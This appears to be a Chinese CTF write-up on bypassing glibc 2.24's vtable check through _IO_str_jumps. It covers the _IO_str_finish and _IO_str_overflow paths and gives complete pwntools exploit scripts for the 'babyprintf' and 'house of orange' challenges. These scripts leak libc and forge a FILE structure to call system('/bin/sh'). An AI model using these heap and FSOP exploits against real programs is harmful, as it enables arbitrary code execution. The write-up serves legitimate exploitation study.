IO_FILE-2.24对vtable检测绕过、babyprintf、house of orange

2.24比2.23在vtable上多了检测,使得2.23的利用手法失效

IO_FILE-2.24对vtable检测绕过、babyprintf、house of orange

IO vtable check

2.24引入了一个vtable检测机制IO_validate_vtable,位于:/libio/libioP.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

ptr - __start___libc_IO_vtables >= __stop___libc_IO_vtables - __start___libc_IO_vtables时会调用_IO_vtable_check (),否则返回vtable,那看一下 __stop___libc_IO_vtables__start___libc_IO_vtables都是什么

1
2
3
4
pwndbg> p __stop___libc_IO_vtables - 1
$7 = 0x7ffff7dcf627 <_IO_str_chk_jumps+167> ""
pwndbg> p __start___libc_IO_vtables
$8 = 0x7ffff7dce8c0 <_IO_helper_jumps> ""

那也就是需要在_IO_helper_jumps~_IO_str_chk_jumps+167这个地址之内才可以绕过检测,前一篇文章的house of orange最后将vtable劫持到了堆上并不在_IO_helper_jumps~_IO_str_chk_jumps+167这个地址内,所以在2.24中会利用失败

IO vtable check绕过

前面说到_IO_vtable_check这个函数,跟进看一下,位于libio/vtables.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

基本没什么可利用的点

但是还有_IO_str_jumps以及_IO_wstr_jumps两个vtable,如果能将vtable设置成_IO_str_jumps或者_IO_wstr_jumps那么一样可以调用文件操作函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pwndbg> p _IO_str_jumps
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a89fb0 <_IO_str_finish>,
__overflow = 0x7ffff7a89c90 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7a89c30 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a88610 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a89f90 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a88640 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a88720 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a8a0e0 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a88940 <_IO_default_setbuf>,
__sync = 0x7ffff7a88c10 <_IO_default_sync>,
__doallocate = 0x7ffff7a88a30 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a89ae0 <_IO_default_read>,
__write = 0x7ffff7a89af0 <_IO_default_write>,
__seek = 0x7ffff7a89ac0 <_IO_default_seek>,
__close = 0x7ffff7a88c10 <_IO_default_sync>,
__stat = 0x7ffff7a89ad0 <_IO_default_stat>,
__showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}
pwndbg> p _IO_wstr_jumps
$3 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a80260 <_IO_wstr_finish>,
__overflow = 0x7ffff7a80060 <_IO_wstr_overflow>,
__underflow = 0x7ffff7a80000 <_IO_wstr_underflow>,
__uflow = 0x7ffff7a7ef70 <__GI__IO_wdefault_uflow>,
__pbackfail = 0x7ffff7a80240 <_IO_wstr_pbackfail>,
__xsputn = 0x7ffff7a7f3c0 <__GI__IO_wdefault_xsputn>,
__xsgetn = 0x7ffff7a7f670 <__GI__IO_wdefault_xsgetn>,
__seekoff = 0x7ffff7a80510 <_IO_wstr_seekoff>,
__seekpos = 0x7ffff7a88a10 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a88940 <_IO_default_setbuf>,
__sync = 0x7ffff7a88c10 <_IO_default_sync>,
__doallocate = 0x7ffff7a7fb40 <__GI__IO_wdefault_doallocate>,
__read = 0x7ffff7a89ae0 <_IO_default_read>,
__write = 0x7ffff7a89af0 <_IO_default_write>,
__seek = 0x7ffff7a89ac0 <_IO_default_seek>,
__close = 0x7ffff7a88c10 <_IO_default_sync>,
__stat = 0x7ffff7a89ad0 <_IO_default_stat>,
__showmanyc = 0x7ffff7a89b00 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a89b10 <_IO_default_imbue>
}

_IO_wstr_jumps的利用要比_IO_str_jumps难一点,所以通常都是对_IO_str_jumps的利用

_IO_str_jumps中有两个函数的利用空间很大,_IO_str_finish的函数源码如下,位于/libio/strops.c

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

我们可以发现_IO_str_finish的函数利用简单

如果将(((_IO_strfile *) fp)->_s._free_buffer)设置为system_addr,将fp->_IO_buf_base设置为bin_sh,如果再满足fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)为真是不是就可以直接getshell了

fp->_IO_buf_base需要有值,直接设置为bin_sh

fp->_flags & _IO_USER_BUF为0, _IO_USER_BUF是1所以_flags需要设置为0

fp + 0xe8 设置为system

再加上触发_IO_flush_all_lockp的条件,最后总结如下

fp->_mode <= 0

fp->_IO_write_ptr > fp->_IO_write_base

vtable = _IO_str_jumps - 8

fp->_flags = 0

fp->_IO_buf_base = bin_sh

fp + 0xe8 = system_addr

至于为什么把vtable赋值为_IO_str_jumps - 8,是因为这样调用原先的_IO_overflow的时候现会调用_IO_str_finish

_IO_str_overflow的源码如下,位于/libio/strops.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

可以看到在第107行中存在

1
2
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

假如我们可以使得(*((_IO_strfile *) fp)->_s._allocate_buffer)为system_addr,使得new_size为bin_sh,那么是不是就可以执行`system(“/bin/sh”);来getshell了

首先需要绕过第一个iffp->_flags & _IO_NO_WRITES为0,所以_flags = 0,后面也有和_flags&的,只需要将_flags=0即可

然后要使得第二个if为真 pos >= (_IO_size_t) (_IO_blen (fp) + flush_only),其中pos = fp->_IO_write_ptr - fp->_IO_write_base;,其次#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),所以有fp->_IO_write_ptr - fp->_IO_write_base > (fp)->_IO_buf_end - (fp)->_IO_buf_base 我们就可以进入(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);这个环节

接着就到(*((_IO_strfile *) fp)->_s._allocate_buffer)(new_size)了设置正确即可,(*((_IO_strfile *) fp)->_s._allocate_buffer)这里的偏移是0xe0可以在ida里面看到,这里不多放了

最后总结一下,根本不需要堆地址的泄露即可进行FSOP

1
2
3
4
5
6
_flags=0
_IO_write_base = 0
_IO_write_ptr = (bin_sh -100) / 2 +1
_IO_buf_end = (bin_sh -100) / 2
_IO_buf_base = 0
fp + 0xe0 = system_addr

babyprintf

比较经典的一道题,2.24下利用_IO_str_jumps进行vtable绕过

有格式化漏洞,但是开了 FORTIFY: Enabled,所以格式化漏洞利用(x),可以借助格式化漏洞输出libc

有堆溢出可以直接控制到top_chunk的size和house of orange一样的利用,产生出unsortedbin,并泄露出libc

接着利用unsortedbin attack将IO_FILE申请到堆这里,然后在堆里布局io

_IO_str_finish的布局如下

1
2
3
4
5
6
7
8
9
10
11
12
p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(1) + p64(0)
p2 += p64(bin_sh)
p2 = p2.ljust(0xc0, b'\x00')
p2 += p64(0)
p2 += p64(0) *2
p2 += p64(io_str_jumps - 8)
p2 = p2.ljust(0xe8, b'\x00')
p2 += p64(system_addr)

p3 = p1 + p2

_IO_str_overflow的布局如下

1
2
3
4
5
6
7
8
9
10
11
p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(bin_sh)
p2 += p64(0) + p64(0)
p2 += p64(int((bin_sh - 100) / 2))
p2 = p2.ljust(0xd8, b'\x00')
p2 += p64(io_str_jumps)
p2 = p2.ljust(0xe0, b'\x00')
p2 += p64(system_addr)

p3 = p1 + p2

_IO_str_overflow需要注意的是奇数问题,exp如下,用的是2.23的libc,因为发现2.24死活拿不到,可能是libc的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './babyprintf'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(size, content):
r.sendlineafter('size: ', str(size))
r.sendlineafter('string: ', content)

add(32, '%1$p%2$p%3$p%4$p%5$paaaa%6$p%7$p%8$p')

r.recvuntil('aaaa')
r.recvuntil('0x')
libc_addr = int(r.recv(12), 16) - 240
li('libc_addr = ' + hex(libc_addr))
libc = ELF('./libc-2.23.so')
libc_base = libc_addr - libc.sym['__libc_start_main']
li('libc_base = ' + hex(libc_base))

system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))
#io_str_jumps = libc_base + 0x3BE4C0
io_str_jumps = libc_base + 0x3c37a0
#li('IO_str_jums = ' + hex(IO_str_jumps))
io_list_all = libc_base + libc.sym['_IO_list_all']
li('io_list_all = ' + hex(io_list_all))
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
li('bin_sh = ' + hex(bin_sh))

p1 = b'a' * 0x10 + p64(0) + p64(0xfb1)
add(0x10, p1)

add(0x1000, 'aaaa')

p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(1) + p64(0)
p2 += p64(bin_sh)
p2 = p2.ljust(0xc0, b'\x00')
p2 += p64(0)
p2 += p64(0) *2
p2 += p64(io_str_jumps - 8)
p2 = p2.ljust(0xe8, b'\x00')
p2 += p64(system_addr)
'''
p1 = b'\x00' * 0x200
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(bin_sh)
p2 += p64(0) + p64(0)
p2 += p64(int((bin_sh - 100) / 2))
p2 = p2.ljust(0xd8, b'\x00')
p2 += p64(io_str_jumps)
p2 = p2.ljust(0xe0, b'\x00')
p2 += p64(system_addr)
'''
p3 = p1 + p2
add(0x200, p3)
r.sendlineafter('size: ', '1')
r.interactive()

到现在可以发现并没有用到堆地址,这是一种无堆地址利用手法

house of ornage

直接用上面的调用链即可攻击成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Your choice : '

def add(size, name, price):
r.sendlineafter(menu, '1')
r.sendlineafter('Length of name :', str(size))
r.sendafter('Name :', name)
r.sendlineafter('Price of Orange:', str(price))
r.sendlineafter('Color of Orange:', '1')

def show():
r.sendlineafter(menu, '2')

def edit(size, name, price):
r.sendlineafter(menu, '3')
r.sendlineafter('Length of name :', str(size))
r.sendafter('Name:', name)
r.sendlineafter('Price of Orange: ',str(price))
r.sendlineafter('Color of Orange: ','1')

add(0x10, 'aaaaa', 0x20)

p1 = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0xfa1)
edit(0xff, p1, 0x20)

add(0x1000, 'aaaaa', 0x20)
add(0x400, 'a' * 8, 0x20)
show()
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 1640 - 0x10

li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
li('system_addr = ' + hex(system_addr))

io_list_all = libc_base + libc.sym["_IO_list_all"]
li('io_list_all = ' + hex(io_list_all))

edit(0x10, 'a' * 0x10, 0x20)
show()
r.recvuntil('a' * 0x10)
heap_addr = u64(r.recvuntil('\n').strip().ljust(8, b'\x00'))
li('heap_addr = ' + hex(heap_addr))
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
io_str_jumps = libc_base + 0x3c37a0

p1 = p64(system_addr) * 4 + b'\x00' * 0x400
p2 = p64(0) + p64(0x61) + p64(0) + p64(io_list_all - 0x10)
p2 += p64(0) + p64(1) + p64(0)
p2 += p64(bin_sh)
p2 = p2.ljust(0xc0, b'\x00')
p2 += p64(0)
p2 += p64(0) *2
p2 += p64(io_str_jumps - 8)
p2 = p2.ljust(0xe8, b'\x00')
p2 += p64(system_addr)

p3 = p1 + p2
edit(len(p3), p3, 0x20)

r.sendlineafter(menu, '1')
r.interactive()

总结

笔者学到了无堆地址的利用,对vtable绕过利用,读源码很重要